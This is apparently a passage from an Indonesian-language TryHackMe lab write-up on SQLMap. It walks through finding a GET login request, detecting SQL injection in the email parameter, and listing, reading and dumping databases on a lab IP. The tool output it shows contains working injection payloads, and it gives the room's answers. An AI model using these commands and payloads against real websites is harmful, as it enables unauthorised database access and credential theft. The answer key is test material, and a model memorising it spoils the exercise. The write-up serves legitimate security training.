  6. Perhatikan request GET yang muncul
  7. Klik request tersebut → copy full URL
URL yang didapat:
http://10.48.181.216/ai/includes/user_login?email=test&password=test

Jika gagal mengambil dari browser, URL di atas boleh langsung dipakai

Penting: Gunakan Tanda Petik (')

Saat menjalankan SQLMap, URL harus diapit tanda petik satu agar tidak error: ❌ Salah:

sqlmap -u http://10.48.181.216/ai/includes/user_login?email=test&password=test

✅ Benar:

sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test'

Scan SQL Injection (In-depth Scan)

Karena simple scan sering gagal, gunakan:

  • --level=5 → scan mendalam
sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' --level=5

Jawaban Saat SQLMap Bertanya (WAJIB)

Selama scanning, SQLMap akan bertanya. Jawab PERSIS seperti ini:

Pertanyaan SQLMapJawaban
Skip DBMS lain selain MySQL?y
Include semua test MySQL (risk)?y
Try random integer for UNION?y
Parameter email vulnerable, lanjut test lain?n

Ini penting supaya:

  • Scan tidak terlalu lama
  • Fokus ke parameter rentan

Menampilkan Database (Flag --dbs)

Setelah parameter email terdeteksi rentan:

sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' --dbs --level=5

Contoh hasil:

available databases:
[*] ai
[*] users

Menampilkan Tabel Database

Misal database target: users

sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' -D users --tables --level=5

Contoh tabel:

+-----------+
| accounts  |
| admins    |
+-----------+

Dump Isi Tabel

Misal tabel target: admins

sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test' -D users -T admins --dump --level=5

Contoh hasil:

+----+-------------------+----------+
| id | email             | password |
+----+-------------------+----------+
| 1  | admin@thm.com     | admin123 |
+----+-------------------+----------+

Jika password hash:

  • SQLMap akan menawarkan cracking
  • Bisa jawab n jika tidak diminta

Parameter Rentan

Dari instruksi:

GET parameter 'email' is vulnerable

Artinya:

  • SQL Injection terjadi pada email
  • Parameter password tidak perlu diuji lagi

Catatan Penting Keamanan

Gunakan SQLMap hanya untuk:

  • Lab TryHackMe
  • CTF
  • Testing dengan izin

Dilarang:

  • Website asli tanpa izin
  • Sistem produksi

Kesimpulan Task

  • Login page menggunakan GET request tersembunyi
  • Parameter bisa dilihat via Inspect → Network
  • SQLMap efektif untuk SQLi pada login form
  • --level=5 sangat penting
  • Parameter email adalah titik injeksi

Answers Questions

kita coba login webnya dan setelah dilihat bagian networks request nya ke http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria

dari sini kita bisa coba jalankan sqlmap

sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" --level=5
# [14:55:17] [INFO] target URL appears to have 4 columns in query
# do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
# injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
# [14:56:02] [INFO] testing 'MySQL UNION query (40) - 81 to 100 columns'
# GET parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
# sqlmap identified the following injection point(s) with a total of 1171 HTTP(s) requests:
# ---
# Parameter: email (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
#     Payload: email=aria@gmail.com' AND 4905=(SELECT (CASE WHEN (4905=4905) THEN 4905 ELSE (SELECT 9427 UNION SELECT 8078) END))-- WwJS&password=aria

#     Type: error-based
#     Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: email=aria@gmail.com' OR (SELECT 5063 FROM(SELECT COUNT(*),CONCAT(0x7162716271,(SELECT (ELT(5063=5063,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ecTU&password=aria

#     Type: time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
#     Payload: email=aria@gmail.com' AND (SELECT 3468 FROM (SELECT(SLEEP(5)))sTDc)-- yPmA&password=aria
# ---

curl "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com' AND 4905=(SELECT (CASE WHEN (4905=4905) THEN 4905 ELSE (SELECT 9427 UNION SELECT 8078) END))-- WwJS&password=aria"
sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" --dbs
# available databases [6]:
# [*] ai
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] phpmyadmin
# [*] test
  • How many databases are available in this web application?
    • Use the --dbs --level=5 flag for extracting all the available databases.

6

sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" -D ai --tables
# [1 table]
# +------+
# | user |
# +------+
  • What is the name of the table available in the "ai" database?
    • Use -D ai --tables --level=5 flag to extract the available tables of a database.

user

sqlmap -u "http://10.48.181.216/ai/includes/user_login?email=aria@gmail.com&password=aria" -D ai -T user --dump
# +------+-----------------+---------------------+------------+
# | id   | email           | created             | password   |
# +------+-----------------+---------------------+------------+
# | 1    | test@chatai.com | 2023-02-21 09:05:46 | 12345678   |
# +------+-----------------+---------------------+------------+
  • What is the password of the email test@chatai.com?
    • Dump the table records of the "user" table in the "ai" database.

12345678

On this page

Shells OverviewRoom IntroductionShell OverviewFungsi Shell dalam Serangan SiberReverse ShellPengertianCara Kerja Reverse Shell1. Menyiapkan Listener di Mesin Penyerang2. Mendapatkan Akses Reverse ShellContoh Payload Reverse Shell (Pipe Reverse Shell)Penjelasan Payload:Shell Diterima oleh PenyerangBind ShellPengertianCara Kerja Bind Shell1. Menyiapkan Bind Shell di Mesin TargetPenjelasan Payload:2. Penyerang Terhubung ke Bind ShellAkses Shell BerhasilKesimpulanShell Listeners1. RlwrapPengertianFungsiContoh Penggunaan:2. NcatPengertianContoh Penggunaan (Listener Reverse Shell):Contoh Penggunaan dengan SSL:3. SocatPengertianContoh Penggunaan Default (Listener Reverse Shell):Penjelasan:Shell PayloadsReverse Shell Menggunakan BashReverse Shell Menggunakan PHPReverse Shell Menggunakan PythonReverse Shell Lainnya1. Telnet2. AWK3. BusyBoxWeb ShellBahasa yang Umum DigunakanContoh PHP Web Shell SederhanaCara Kerja Web ShellWeb Shell Populer yang Banyak DitemukanPractical TaskTantangan Praktik: Reverse ShellInformasi Mesin dan LayananAkses LabTarget 1: Command Injection ExploitationTarget 2: Unrestricted File Upload ExploitationSQLMap: The BasicsIntroductionDatabase & WebsiteDBMS (Database Management System)SQL InjectionSQLMapSQL Injection VulnerabilityAutomated SQL Injection ToolMenjalankan SQLMapMelihat bantuanMode Wizard (Cocok untuk Pemula)Target dengan GET ParameterMengecek SQL Injection pada URLHasil yang Bisa Dideteksi:Mengetahui Database (Flag --dbs)Menampilkan Tabel dalam DatabaseDump Data dari TabelSQL Injection via POST RequestLangkah Umum:Ringkasan Flag Penting SQLMapPractical ExerciseGambaran Umum TaskMenemukan GET Parameter (Inspect Browser)Langkah-langkah:URL yang didapat:Penting: Gunakan Tanda Petik (')Scan SQL Injection (In-depth Scan)Jawaban Saat SQLMap Bertanya (WAJIB)Menampilkan Database (Flag --dbs)Menampilkan Tabel DatabaseDump Isi TabelParameter RentanCatatan Penting KeamananKesimpulan TaskAnswers Questions